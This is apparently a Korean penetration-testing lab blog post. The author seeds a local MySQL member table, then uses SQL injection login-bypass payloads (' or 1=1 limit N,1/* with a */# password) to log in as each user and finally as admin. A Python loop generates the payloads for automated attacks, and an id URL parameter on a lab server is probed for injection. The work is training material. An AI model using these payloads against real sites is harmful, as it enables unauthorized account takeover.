Linux/모의해킹

관리자로 로그인하기

GGkeeper 2022. 1. 26. 21:15

실습> 관리자로 로그인하기

-- 조건 --
userid 가 admin 이라는 것을 모른다는 전제하에 공격을 시도한다.
컬럼명을 모른다는 전제하에 공격을 시도한다.
-- 조건 --

1. member 테이블 초기화
member 테이블을 초기화 한다.
# mysql -e 'truncate mywebsite.member'
# mysql -e 'select * from mywebsite.member'

2. 데이터 저장
mywebsite.member 테이블에 데이터를 저장한다.
# mysql -e "
INSERT INTO mywebsite.member VALUES (1,'공격자','test', password('111111'),'attack@a.com','192.168.108.1',now());
INSERT INTO mywebsite.member VALUES (2,'블랙햇','blackhat', password('111111'),'test@naver.com','192.168.108.1',now());
INSERT INTO mywebsite.member VALUES (3,'관리자','admin',password('111111'),'admin','192.168.101.1',now());
"

# mysql -e 'select * from mywebsite.member\G'
*************************** 1. row ***************************
       no: 1
 username: 공격자
   userid: test
 userpass: *FD571203974BA9AFE270FE62151AE967ECA5E0AA
useremail: attack@a.com
   ipaddr: 192.168.108.1
     date: 2022-01-23 04:31:35
*************************** 2. row ***************************
       no: 2
 username: 블랙햇
   userid: blackhat
 userpass: *FD571203974BA9AFE270FE62151AE967ECA5E0AA
useremail: test@naver.com
   ipaddr: 192.168.108.1
     date: 2022-01-23 04:31:35
*************************** 3. row ***************************
       no: 3
 username: 관리자
   userid: admin
 userpass: *FD571203974BA9AFE270FE62151AE967ECA5E0AA
useremail: admin
   ipaddr: 192.168.101.1
     date: 2022-01-23 04:31:35

>>> 풀이 <<<
# mysql -e 'select no,username,userid from mywebsite.member\G'
*************************** 1. row ***************************
      no: 1
username: 공격자
  userid: test
*************************** 2. row ***************************
      no: 2
username: 블랙햇
  userid: blackhat
*************************** 3. row ***************************
      no: 3
username: 관리자
  userid: admin


mysql -e 'select no,username,userid from mywebsite.member'
+----+-----------+----------+
| no | username  | userid   |
+----+-----------+----------+
|  1 | 공격자      | test     | <-- limit 0,1
|  2 | 블랙햇      | blackhat | <-- limit 1,1
|  3 | 관리자      | admin    | <-- limit 2,1
+----+-----------+----------+

# mysql -e 'select no,username,userid from mywebsite.member limit 0,1'
+----+-----------+--------+
| no | username  | userid |
+----+-----------+--------+
|  1 | 공격자      | test   |
+----+-----------+--------+
# mysql -e 'select no,username,userid from mywebsite.member limit 1,1'
+----+-----------+----------+
| no | username  | userid   |
+----+-----------+----------+
|  2 | 블랙햇      | blackhat |
+----+-----------+----------+
# mysql -e 'select no,username,userid from mywebsite.member limit 2,1'
+----+-----------+--------+
| no | username  | userid |
+----+-----------+--------+
|  3 | 관리자      | admin  |
+----+-----------+--------+


아이디 : ' or 1=1 limit 0,1/*
비밀번호 : */#

SELECT * FROM member 
         WHERE 
         userid='' or 1=1 limit 0,1/*' 
         and 
         userpass=password('*/#')

test 사용자로 로그인
로그아웃

아이디 : ' or 1=1 limit 1,1/*
비밀번호 : */#

SELECT * FROM member 
         WHERE 
         userid='' or 1=1 limit 1,1/*' 
         and 
         userpass=password('*/#')
blackhat 사용자로 로그인
로그아웃

아이디 : ' or 1=1 limit 2,1/*
비밀번호 : */#

SELECT * FROM member 
         WHERE 
         userid='' or 1=1 limit 2,1/*' 
         and 
         userpass=password('*/#')
드디어!!! 
admin 사용자로 로그인

파이썬에서 limit의 값을 변경하는 코드
향후 파이썬을 이용해서 자동화 로그인 공격코드를 작성할 수 있다.
i = 0
count = 5
while i < count:
    # query = "' or 1=1 limit %d,1/*" %i
    query = f"' or 1=1 limit {i},1/*"
    print(query)
    i += 1

 


http://192.168.108.101/?id=bbs1&m=list

내부적으로 실행되는 코드 : SELECT * FROM bbs1 ORDER BY no DESC

http://192.168.108.101/?id=bbs1'&m=list

내부적으로 실행되는 코드 : SELECT * FROM bbs1' ORDER BY no DESC